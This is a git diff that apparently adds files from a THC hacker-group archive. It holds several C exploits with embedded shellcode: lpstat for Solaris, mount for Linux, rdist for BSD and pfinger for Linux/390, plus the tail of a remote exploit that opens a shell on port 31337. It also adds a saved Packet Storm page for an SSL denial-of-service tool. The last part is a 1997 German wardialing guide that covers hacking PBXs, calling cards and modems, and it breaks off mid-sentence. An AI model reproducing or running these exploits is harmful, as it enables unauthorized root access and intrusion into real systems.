if (!hp){ + addr = inet_addr(argv[1]); + } + if ((!hp) && (addr == INADDR_NONE) ) + { + printf("Unable to resolve %s\n",argv[1]); + exit(-1); + } + + sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); + if (!sock) + { + printf("socket() error...\n"); + exit(-1); + } + + if (hp != NULL) + memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length); + else + mytcp.sin_addr.s_addr = addr; + + if (hp) + mytcp.sin_family = hp->h_addrtype; + else + mytcp.sin_family = AF_INET; + + mytcp.sin_port=htons(realport); + + rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in)); + if(rc==0) + { + send(sock,exploit_buffer,4131,0); + printf("\nexploit send .... sleeping a while ....\n"); + Sleep(1000); + printf("\nok ... now try to connect to port 31337 via netcat !\n"); + } + else + printf("can't connect to realserver port!\n"); + + shutdown(sock,1); + closesocket(sock); + exit(0); +} + +void usage() +{ + printf("\nUsage: \n"); + exit(0); +} diff --git a/Exploits/lpstat.c b/Exploits/lpstat.c new file mode 100644 index 0000000..ceb50f0 --- /dev/null +++ b/Exploits/lpstat.c @@ -0,0 +1,64 @@ +/* + * lpstat sploit for solaris x86 2.6 and 2.7 + * by plasmoid/deep/thc (c) 1999 + * supported by insected and wilkins + * + * THC - The Hacker's Choice + */ + +#include +#include +#include +#include + +char shell[] = + "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" + "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" + "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" + "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" + "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" + "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; + +const int buffersize = 1100; +const char x86_nop = 0x90; +long nop, esp; +long offset = 0; +char buffer[2000]; + +long get_esp() +{ + __asm__("movl %esp,%eax"); +} + +int main(int argc, char *argv[]) +{ + int i; + + /* you shouldn't edit the offset, we run with + 800 nops in 1100 bytes buffer, one of those + nops should be hit */ + + if (argc > 1) + offset = strtol(argv[1], NULL, 0); + + /* if you don't succeed, modify the nop count, + the standart value of 801 bybtes is quite + strange enuff */ + + if (argc > 2) + nop = strtoul(argv[2], NULL, 0); + else + nop = 801; + + esp = get_esp(); + + memset(buffer, x86_nop, buffersize); + memcpy(buffer + nop, shell, strlen(shell)); + for (i = nop + strlen(shell); i & lt; buffersize - 4; i += 4) + *((int *) &buffer[i]) = esp + offset; + + execl("/usr/bin/lpstat", "lpstat", "-c", buffer, NULL); + + printf("exec failed!\n"); + return 0; +} diff --git a/Exploits/mount.c b/Exploits/mount.c new file mode 100644 index 0000000..27543c0 --- /dev/null +++ b/Exploits/mount.c @@ -0,0 +1,49 @@ +/* + * mount exploit for linux x86 < 2.0.10 + * discovered by bloodmask&vio/couin + * coded by plasmoid/thc/deep for thc-magazine issue #3 + * 12/12/96 - works also on umount + */ + +#include + +#define lv_size 1024 +#define offset 30+lv_size+8*4 + +long get_sp() +{ + __asm__("movl %esp, %eax"); +} + +void main(int argc, char **argv) +{ + char execshell[] = + "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" + "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" + "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; + + char buffer[lv_size + 4 * 8]; + unsigned long *ptr2 = NULL; + char *ptr = NULL; + int i; + + for (i = 0; i < lv_size + 4 * 8; i++) + buffer[i] = 0x00; + + ptr = buffer; + for (i = 0; i < lv_size - strlen(execshell); i++) + *(ptr++) = 0x90; + + for (i = 0; i < strlen(execshell); i++) + *(ptr++) = execshell[i]; + + ptr2 = (long *) ptr; + for (i = 1; i < 2; i++) + *(ptr2++) = get_sp() + offset; + + printf("discovered by bloodmask&vio/couin\n" + "coded by plasmoid/thc/deep\n" "for thc-magazine issue #3\n"); + + (void) alarm((int) 0); + execl("/bin/mount", "mount", buffer, NULL); +} diff --git a/Exploits/rdist.c b/Exploits/rdist.c new file mode 100644 index 0000000..b7847b1 --- /dev/null +++ b/Exploits/rdist.c @@ -0,0 +1,50 @@ +/* + * rdist exploit for freebsd & bsd/os x86 2.0 + * discovered by brian mitchell + * coded by plasmoid/thc/deep for thc-magazine issue #3 + * 12/12/96 + */ + +#include + +#define lv_size 256 +#define offset 30+lv_size+8*4 + +long get_sp() +{ + __asm__("movl %esp, %eax"); +} + + +main(int argc, char **argv) +{ + char execshell[] = + "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" + "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" + "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" + "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; + + char buffer[lv_size + 4 * 8]; + unsigned long *ptr2 = NULL; + char *ptr = NULL; + int i; + + for (i = 0; i < lv_size + 4 * 8; i++) + buffer[i] = 0x00; + + ptr = buffer; + for (i = 0; i < lv_size - strlen(execshell); i++) + *(ptr++) = 0x90; + + for (i = 0; i < strlen(execshell); i++) + *(ptr++) = execshell[i]; + + ptr2 = (long *) ptr; + for (i = 1; i < 2; i++) + *(ptr2++) = get_sp() + offset; + + printf("discovered by brian mitchell\n" + "coded by plasmoid/thc/deep\n" "for thc-magazine issue #3\n"); + + execl("/usr/bin/rdist", "rdist", "-d", buffer, "-d", buffer, NULL); +} diff --git a/Exploits/thc-ssl-dos-1.4-win-bin.zip b/Exploits/thc-ssl-dos-1.4-win-bin.zip new file mode 100644 index 0000000..c80cc1d --- /dev/null +++ b/Exploits/thc-ssl-dos-1.4-win-bin.zip @@ -0,0 +1,166 @@ + + + + +Download: THC SSL Denial Of Service Tool 1.4 Windows Version ≈ Packet Storm + + + + + + + + + + + + + + +
+
+ +
Twenty Year Anniversary
+ + +
+ +
+
+ +
+ +
+
+ + + + + + +

Download

+ +
Your download should begin shortly.
+ +
+
+

thc-ssl-dos-1.4-win-bin.zip (1.6 MB)

+
MD5 | 7a40638354c8133ba93f966c31237518
+
Direct Download
+
+
+ + + + + +
+ +
+ +
+
+ +

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU
+
+
+

File Archive:

June 2018

+
  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
+
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
+
  • 3
    Jun 3rd
    0 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    0 Files
  • 7
    Jun 7th
    0 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
+
  • 10
    Jun 10th
    0 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
+
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
+
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files
+
+
+

Top Authors In Last 30 Days

+ +
+

File Tags

Systems

+
+ +
+ +
+ +
+
+ +
+ packet storm +

© 2018 Packet Storm. All rights reserved.

+
+ + + + + +
+
+
Services
+
Security Services
+
Hosting By
+
Rokasec
+
+
+ + +
+
+ +
close
+ + + + + + diff --git a/Exploits/thc390pfinger.c b/Exploits/thc390pfinger.c new file mode 100644 index 0000000..a5d6a40 --- /dev/null +++ b/Exploits/thc390pfinger.c @@ -0,0 +1,54 @@ +// linux390 (31bit) pfinger-0.7.8 <= local exploit +// 390 sploit by jcyberpunk@thehackerschoice.com +// diz is just a lame proof of concept sploit +// to show how easy 390linux exploitation is + +#include +#include + +char shellcode[]= +"\x0c\x10" /* bassm %r1,%r0 */ +"\x41\x90\x10\x48" /* la %r9,72(%r1) */ +"\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */ +"\xa7\x68\x04\x56" /* lhi %r6,1110 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\x48" /* stc %r6,72(%r1) */ +"\x17\x22" /* xr %r2,%r2 */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\xa7\x68\x04\x7a" /* lhi %r6,1146 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\x49" /* stc %r6,73(%r1) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\xa7\x68\x04\x57" /* lhi %r6,1111 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\x49" /* stc %r6,73(%r1) */ +"\x41\x20\x10\x4c" /* la %r2,76(%r1) */ +"\x50\x20\x10\x54" /* st %r2,84(%r1) */ +"\x41\x30\x10\x54" /* la %r3,84(%r1) */ +"\x17\x44" /* xr %r4,%r4 */ +"\x42\x40\x10\x53" /* stc %r4,83(%r1) */ +"\x50\x40\x10\x58" /* st %r4,88(%r1) */ +"\x41\x40\x10\x58" /* la %r4,88(%r1) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\x0b\x17" /* svc n after self-modification */ +"\x07\xfe" /* br %r14 */ +"\x2f\x62" /* /b */ +"\x69\x6e\x2f\x73" /* in/s */ +"\x68\x5c"; /* h\ */ + +int main(void) +{ + unsigned int i; + unsigned char buf[256],*b; + unsigned char sc[256]; + unsigned char nop[]="\x17\x44"; + memset(buf,0,256); + memset(buf,'x',160); + b = sc; + for(i=0;i<=100;i++) *b++ = nop[i%2]; + *(unsigned long *)(buf+160)=0x7fffff92; + memcpy(&sc[100-strlen(shellcode)],shellcode,strlen(shellcode)); + memcpy(sc,"evil=",5); + putenv(sc); + execl("/usr/bin/finger", "finger", buf, NULL); +} diff --git a/Papers/0130scan.txt b/Papers/0130scan.txt new file mode 100644 index 0000000..69ef2c8 --- /dev/null +++ b/Papers/0130scan.txt @@ -0,0 +1,573 @@ + + + + + + + ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» + º 0130 Scanning º + ÈÍÍÍÍÍÍ» ÉÍÍÍÍÍͼ + ÚÄÄÄÄÄÄÄÄÄÄÄÄĽ ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ (c) 1997 by van Hauser / THC ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + + + + + + + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ Einleitung ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Eigentlich wollte ich ueber unix hacking schreiben, aber nachdem der + urspruengliche Schreiber den Artikel ueber 0130 Scanning nicht + rechtzeitig fertigstellen konnte, musst ich leider in die Tasten greifen :( + Es ist mir ein grosses Anliegen, weil die Szene in Deutschland immer kleiner + und elitaerer wird, und neue Leute kaum mehr nachruecken. + Daher ist dieser Text vor allem etwas fuer Anfaenger und Leute die sich + noch nie ausgiebig mit 0130 Scanning beschaeftigt haben - fuer Experten + wird es nur wenig neues zu lesen geben. + Es wird wohl schnell auffallen, dass ich Beispiele und Bezug meistens zum + THC-Scan Programm machen werden - weniger aus Prestige weil ich es selbst + programmiert habe, sondern weil es ohne Uebertreibung das momentan beste + Scanner Programm ist, das zu haben ist. Es wurde vor ueber 1 1/2 Jahren + begonnen und mit enger Zusammenarbeit von aktiven Scannern, Blueboxern, + Carrier Hackern etc. weiterentwickelt und optimiert, um jedem, der sich + irgendwie mit Scanning beschaeftigt (beschaeftigen muss) eine optimale + Arbeitsplatform zu schaffen - doch dadurch wurde es sehr komplex. + Aktuelle Version ist uebrigens die v1.4 + Doch genug der Schwafelei, kommen wir zum Inhalt : + + + þ Einleitung + þ Was ist "0130 Scanning" ? + þ Warum ist es fuer jeden interessant ? + þ Vor-/Nachteile des Hand-/Computer-Scannings + þ Wie identifiziert man Rufnummern und was tut man danach ? + þ Die Wahl des Modem und dessen Konfiguration + þ Wie arbeiten Scanner-Programme, welche gibt es? + þ Tips & Tricks zum Scannen + þ Tips zum Benutzen erweiterer Funktionen von THC-Scan + þ Die Gefahren des Scannens + þ Schlusswort + + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ Was ist "0130 Scanning" ? ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + "Wardialing", "Tollfree Scanning", "0130 Scanning", "0-800 Scanning" : + Alles beschreibt das gleiche, das Absuchen und Identifizieren von + Telefonrufnummern, zumeist gebuehrenfreie. + In Deutschland sind z.B. alle Rufnummern mit der Vorwahl 0130 kostenlos + anzuwaehlen. Man ruft dann ein paar oder alle Nummern mit dieser Vorwahl + an und notiert sich was man da gefunden hat. + + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ Warum ist es fuer jeden interessant ? ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Wer Novize ist und sich fuer Hacking/Phreaking interessiert weiss meistens + nicht wie und wo er ueberhaupt anfangen soll. Texte gibt es viele, + gescheite wo man was draus lernt aber nur sehr wenige. Besonders fuer + Anfaenger ist es meistens fast unmoeglich irgendeinen Einstieg zu finden, + wenn man niemanden kennt, der einen was zeigt und erklaert. + Besonders Praeferenzen zu finden was man gerne machen moechte ist schwer. + Man will ja nur ein toller "Hacker" werden - ja aber was fuer einer? + BBS Hacker, VMB Hacker, Unix Hacker, PBX Hacker, Modem Hacker, Scanner, + Blueboxer, ..., ... ?? + Es gibt soviel womit man sich beschaeftigen *koennte* aber soviel Zeit hat + man in seinem Leben gar nicht, man muss sich also spezialisieren. + Da man aber ja gar nicht wissen kann was einem liegt bevor man es nicht + ausprobiert hat ist 0130 Scanning DAS ideale Mittel um einen Einstieg zu + finden und zu schauen was einem Spass macht. + Und das beste daran : es ist legal. Man kann sich also vergnuegen, lernen, + einen Einblick ins Hacking/Phreaking bekommen und trotzdem keine Straftat + begehen. Trotzdem gibt es ein paar Gefahren, doch dazu mehr in dem Abschnitt + "Die Gefahren des Scannings". + Doch auch fuer andere ist es Interessant. z.B. fuer Unix Hacker, denn + auf 0130 gibt es einige Moeglichkeiten in Systeme einzudringen die man + vom Internet aus nicht hat, oder auch nur um kostenlos ins Internet zu + kommen. + Was findet man nun beim Scanning, und was ist eigentlich eine VMB/PBX etc.? + + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ Wie identifiziert man Rufnummern und was tut man danach ? ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Die 0130 Nummern sind bislang in folgende Nummerngruppen eingeteilt : + + 0130-8xxxxx + 0130-1xxxxx + 0130-xxxx (von 2xxx bis 7xxx, 0xxx und 9xxx) + + also insgesamt 208000 moegliche Nummern. Wenn man also sehr fix ist, und + 250 Anrufe/Stunde schafft braucht man nur ca. 832 Stunden = also ueber einen + Monat ohne Schlaf/Essen etc. ;-) + Wer sowas also mit System alles abscannen will sollte sich am besten mit + anderen zusammentun. Man muss aber dazu sagen, dass viele Bereiche nur zu + ca. 1-3% vergeben sind, so z.B. 0130-87xxxx bis 0130-89xxxx + + Folgendes kann man beim Scannen finden : + + SPRACHNUMMER - das haeufigste. Eine Bestellhotline fuer Firmen, + Servicedienste fuer alles moegliche. (ADAC z.B.) + Kann interessant sein, weil man sich manchmal + kostenlose Sachen und Informationsmaterial + zuschicken lassen kann. (Zeitungen wie die FAZ z.B.) + Erkennungsmerkmal: wie sich die Personen melden ;-) + + KREDITKARTENNUMMERN - Sind eher selten. Man kann ueber solche Nummern + Telefongespraeche zu Lasten von Kreditkarten + (z.B. VISA -> VISA-Phone) fuehren, oder aber + sogenannte Calling Cards benutzen (z.B. AT&T, MCI). + Bei manchen Nummern ist ein Operator dran, bei + anderen ein Computer, andere beides. + Man kann z.B. mit Operatorn reden was das genau + fuer Calling Cards sind, sich vielleicht Test- + karten geben lassen oder einfach versuchen mit + Glueck oder System Calling Cards zu hacken. + Erkennungsmerkmal: Die Stimme (Operator oder + Computer) fragt nach einer Kartennummer oder PIN + + VOICE MAIL BOX - oder kurz VMB genannt ist so etwas wie das + Anrufbeantworter-System einer grossen Firmen + Telefonanlage. Es gibt verschiedene Endnummern, an + denen man fuer die jeweiligen Leute eine Nachricht + hinterlassen kann. Fuer Hacker & Phreaker ist so ein + System ideal, da man so sehr einfach und komfortabel + Austauschen kann. + Mehr Informationen hierfuer gibt es im THC-MAG #2. + Erkennungsmerkmal: Eine Stimme vom Band fragt nach einer + "Extension of the person you are calling" und melden sich + meist am Anfang mit "Welcome to XYZ ..." + + ANRUFBEANTWORTER - Jeder weiss was ein Anrufbeantworter ist und was man + damit macht. Findet man halt auch, das einzige was + sich darueber sagen laesst ist, dass man sie meistens + von ausserhalb mit einem Code abhoeren kann und bei + manchen sogar neu besprechen. Kann man zu netten Sachen + verwenden. + Erkennungsmerkmal: Wird wohl jeder wissen + + PRIVATE BRANCH EXTENSION - oder kurz PBX genannt. Solche Systeme verlangen + die Eingabe eines Codes, wonach man z.B. eine VMB, ein + Modem oder sogar einen Waehlton zum weitertelefonieren + bekommt. Es ist sehr beliebt unter Warez-Tradern solche + mit einem Wahlton zu finden um sie solange fuer ihre + Softwareschiebereien zu benutzen bis die Firma pleite + oder sie geschnappt wurden. + Mehr Informationen in DIESEM MAGAZIN (pbx.thc) + Erkennungsmerkmal: Langer Ton oder Stille, nach einiger + Zeit oder Eingabe einiger Ziffern etwas was sich wie + ein Alarmton anhoert oder das Beenden der Verbindung. + + MODEM DIALUP - An manchen Nummern haengt auch ein Modem dran - was man + dann einfach versuchen kann zu Hacken. z.T. sind da + Mailboxen dran, Unix Dialups etc. etc. + Mehr Informationen in DIESEM MAGAZIN (carriers.thc) + Erkennungsmerkmal: Schrille Toene, rufst du mit deinem + Modem da an, siehst du "CONNECT" und danach noch mehr. + + FAX EMPFANG / FAX POLLING - An einigen Nummern haengt dann auch mal ein + Fax. Bei Fax-Polling kann man sich dort + Faxe abholen, aber das ist auch alles was + man da so sinnvolles machen kann. + Erkennungsmerkmal: Schrille Toene, rufst du + mit deinem Modem an bekommst du "NO CARRIER" + und wenn du dein Modem auf FAX umstellst ein + "CONNECT FAX" + + KEIN ANSCHLUSS UNTER DIESER NUMMER - sehr haeufig. *seufz* + Es lohnt sich trotzdem solche Nummern + zu speichern, denn wenn Firmen sich + sich eine 0130 Nummer schalten lassen + bekommen sie von der Telekom eine, bei + der vorher diese Meldung gab - also + einfach solche Nummern immer wieder + anwaehlen um zu schauen ob da was + neues ist. + + BESETZT (TUT-TUT-TUT etc.) - es ist halt besetzt. Spaeter nochmal anrufen, + aber manche Nummern sind einfach immer besetzt. + Solche Nummern nennt man "dauer-busy". + Erkennungsmerkmal: Besetzton + + Das sind alle Typen die man beim Scannen so findet. + Jetzt ist natuerlich noch interessant, wie sie so prozentual verteilt sind: + + 59% Unbenutzt ("Kein Anschluss" etc.) + 29% Sprachnummern + 3% Modems + 3% Faxe + 2% VMBs + 2% dauer-busy + 1% PBXs + 1% Kreditkartennnummern + + Das ist aber sehr unterschiedlich von dem genauen Bereich den man abscannt. + + Uebrigens haben wir alle Modem Nummern abgescanned : es sind insgesamt + ueber 1000 die man finden kann ;-) + + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ Vor-/Nachteile des Hand-/Computer-Scannings ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Scannen von Hand oder scannen mit/vom Computer? + Das war immer eine sehr umstrittene Diskussion. + + HAND MIT COMPUTER NUR COMPUTER +Geschindigkeit langsam sehr schnell schnell +Identifizierung detailliert sehr detailliert grob (*) +Modem Scanning schlecht sehr gut gut +PBX Scanning sehr gut gut (*) mittel +VMB Scanning sehr gut gut (*) nicht moeglich (*) +Sprachidentifiz. sehr gut gut mittel +Selbst Sprechen sehr gut schlecht (*) --- +Weitere Nachteile Zettel+Stift immer Das Modem gibt gel- wie "MIT COMPUTER" u. + noetig, schlechte egentlich ein BUSY zusaetzlich: Nur sehr + Handschrift, aus bei einer Stim- grobe Identifikation + waehlen ist langsam me. Es ist nicht moeglich und manchmal + moeglich bei PBX/ eine falsche. + VMB nachzuwaehlen (*) +Weitere Vorteile Erweiterte Informa- leichte und schnel- Alles geht automa- + tionen moeglich, le Identifikation. tisch, man muss nicht + z.B. mit dem Oper- Ausgabe im Modem- zu Hause sein. + ator sprechen, VMB Speaker manchmal + bedienen, C5 Toene nicht gut vestaend- + hoeren etc. lich. + + (*) -> Das sind Nachteile, fuer die im THC-Scan eine Abhilfe geschaffen + wurde, und sind bisher nur in diesem Programm implementiert. + Siehe weiter unten. + + Fuer wen ist nun welche Technik interessant? + + þ Von Hand - eigentlich nur fuer Leute die a) immer mit den Operatoren + reden wollen und b) gerne mit VMB und PBX spielen aber das + mit dem Computer zu muehsam finden + þ nur Computer - nur interessant fuer Leute die nur an PBXs oder + Modems interessiert sind. + þ mit Computer - Fuer alle anderen, also nicht auf sowas spezialisierte. + + Als Anfaenger sollte man immer "mit Computer" oder "von Hand" scannen. + + Weshalb immer weniger fuer das umstaendliche Scannen von Hand spricht : + THC-Scan wurde im laufe der Jahre (hehe) immer weiter optimiert und auch + an die Beduerfnisse von Phreakern angepasst, die die "von Hand" Methode + bisher vorgezogen hatten. + Folgende Funktionen wurden Implementiert, um ein besseres Arbeiten zu + ermoeglichen, und welche Nachteile sind geblieben: + + þ Das groesste Problem war immer, dass man nach dem Waehlen des Modems + nicht mehr weiterwaehlen kann wenn man z.B. auf eine PBX oder VMB + stoesst. Hierfuer wurde der "Manual Mode" eingebaut, mit dem man einfach + die Nummer identifiziert. Danach kommt ein Pop-Up Fenster, bei dem man + nun 0-9, * und # und sogar abcd waehlen kann - und man ist trotzdem + weiter online und verbunden wie als wuerde man von Hand waehlen. + Kleiner Nachteil: Das waehlen ist etwas langsamer als mit der Hand. + + þ Manchmal moechte man sich mit den Operatoren unterhalten, dazu drueckt + man nun einfach P fuer Pause, und das Modem haengt auf. Vorher muss man + allerdings schnell den Telefonhoerer abnehmen. Es bleibt leider etwas + umstaendlich, aber weiter kann man es nicht von der Software her loesen. + Wer sich nicht sooo oft sich mit Operatoren unterhalten will, fuer den + ist das eine brauchbare Loesung + + þ Was bisher nicht automatisch, also nicht mit "nur Computer" zu + identifizieren war, waren z.B. VMBs, oder "Kein Anschluss ...". + Beim THC-Scan kann man z.B. festlegen, dass jede VOICE Response + bei der es vorher nicht gelaeutet hat, als VMB zuzuordnen. + Spaeter scanned man einfach die Nummern online ab, und schaut einfach + welche wirklich VMBs sind. + Seit der Version 1.4 gibt es fuer VMBs und "Kein Anschluss ..." eine + weitere Moeglichkeit der Identifikation: Die Zeit. Wenn z.B. eine + VOICE Antwort beim Modem innerhalb von 4 Sekunden nach Waehlbeginn + kommt ist es "Kein Anschluss ...", und zwischen 4-10 Sekunden und + keinem RINGING meist eine VMB. + + þ Ein Nachteil der immer bleiben wird: Ueber den Modemspeaker versteht man + nicht immer alles :( ... aber bei guten Modems ist es ausreichend. + Ausserdem wird manchmal eine Stimme vom Modem als BUSY identifiziert, + was sich leider nicht vermeiden laesst, aber ein gutes Modem macht + auch das seltener. Man kann zudem ganz bei den meisten Modem die BUSY + Identifizierung auschalten (AT Xx), der Nachteil ist dann halt, dass + man immer selbst im Scanner-Programm B fuer Busy druecken muss. + + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ Die Wahl des Modems und dessen Konfiguration ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Ja welches Modem soll man nun nehmen? + Es sollte auf jedenfall eines mit guter Qualitaet sein, denn manche + Modems auf 0130 liegen irgendwo weit weg und es ist viel Rauschen dabei, + oder sind alt und wollen einen 1200 Baud Connect was nicht jedes Modem + mehr unterstuetzt. Auch reagieren qualitative Modems besser und schneller. + Wenn man hauptsaechlich autmatisch scanned, also ohne davor zu sitzen, + dann sollte das Modem unbedingt eine VOICE Antwort unterstuetzen. + Alte Zyxels oder USR Sportster untersteutzen keine VOICE Antwort. + Sehr zu empfehlen sind USR Couriers oder Zyxels, wobei man bei Zyxels, + wenn es sich um die 1496er Reihe handelt auf ein aktuelles ROM handeln + sollte - ansonsten halt updaten. + Ich benutze die Kombination von USR Courier und Zyxel seit langem und finde + sie unschlagbar. Oft gibt es Probleme mit z.B. Creatix oder billigen + 28.8 Modems. Lasst davon lieber die Finger. + Wichtig ist es auch, dass ihr ein Modem OHNE Postzulassung kauft, denn sonst + ist eine Wahlsperre integriert! + + Zur Konfiguration des Modems : Der Modem-Lautsprecher sollte an sein, + wenn ihr davor sitzen wollt beim scannen, ansonsten abgeschaltet. + Das S10 Register sollte hoeher gestellt werden, damit man den Carrier + nicht verliert wenn das Zielmodem weit entfernt ist. + Das S11 Register sollte auf zwischen 60-70 gestellt werden, damit schneller + gewaehlt wird. + Folgendes sollte bei jedem Modem funktionieren und setzt es in den + wahrscheinlich optimalen (generischen) Zustand : AT &F M3 S10=69 S11=64 + + Wer ein Modem mit Wahlsperre hat soll sich aus dem FIDO das Wahlsperren FAQ + holen wo fuer viele Modems drinnen steht wie man sie abschaltet. + Wenn das Modem eine VOICE Antwort besitzt sollte diese Modus nur einschalten + wenn der Computer alleine scannen soll. (AT X? - schaut ins Handbuch) + + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ Wie arbeiten Scanner-Programme, welche gibt es? ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Mit wenigen Ausnahmen machen alle Programme folgendes : + Man traegt seine COM Adresse des Modems ein, sagt von welcher Nummer + bis welcher Nummer man scannen will und dann legt das Programm los, + und spuckt am Ende eine Liste mit den gefundenen Modems aus. + Nur wenige Programme speichern zumindest das, was das andere Modem ausgibt, + was im vorfeld sehr hilfreich ist, da man schon sieht womit man es zu tun + hat, und dadurch viel Zeit spart, z.B. der Autoscan von POI (poi-as01.zip) + und der PHU (phu.zip). + Somit stellen diese beiden das absolute Minimum dar, was man, wenn man nur + an Modems interessiert ist, benutzen sollte. + Moechte man nach PBX scannen, oder online davorsitzen und sich mehr darueber + notieren ueber die Nummer, dann muss man schon zum Toneloc v1.1 greifen + (tl-110.zip), allerdings sind die Funktionen recht beschraenkt, nur wenige + IDs die Nummern zugeordnet werden koennen, ausserdem laeuft es nicht mit + allen Computers/Modems. Aber wem solche einfachen Identifizierungen wie + Carrier/Fax/Noted/Girl-Voice/Asshole-Voice/Busy reicht, und bei dem es + funktioniert, der wird damit zufrieden sein. + Wer gerne nochmehr machen moechte, erweiterte ID Moeglichkeiten, besondere + Settings braucht, nach speziellen Sachen scanned, etc. etc. der muss zum + THC-Scan greifen, ein Konkurrenzprodukt mit auch nur annaehernd gleichem + Funktionsumfang gibt es leider nicht. (thc-ts14.zip) + + Wie arbeiten nun solche Programme eigentlich? + Nun, das Modem wird zuerst initalisiert, und dann der Nummernbereich, der + gescanned werden soll angerufen. Manche machen das Schritt fuer Schritt, + andere mit einem Zufallsgenerator. Es wird dann einfach ein "ATDT0130800000" + an das Modem gesendet, was dann die Nummer anwaehlt. + Wenn nach 30/50/60 Sekunden, je nach Einstellung, keine Antwort vom Modem + kommt, ist es ein Timeout, ansonsten wird die Antwort des Modems einer ID + zugeordnet wie z.B. BUSY -> Besetzt, 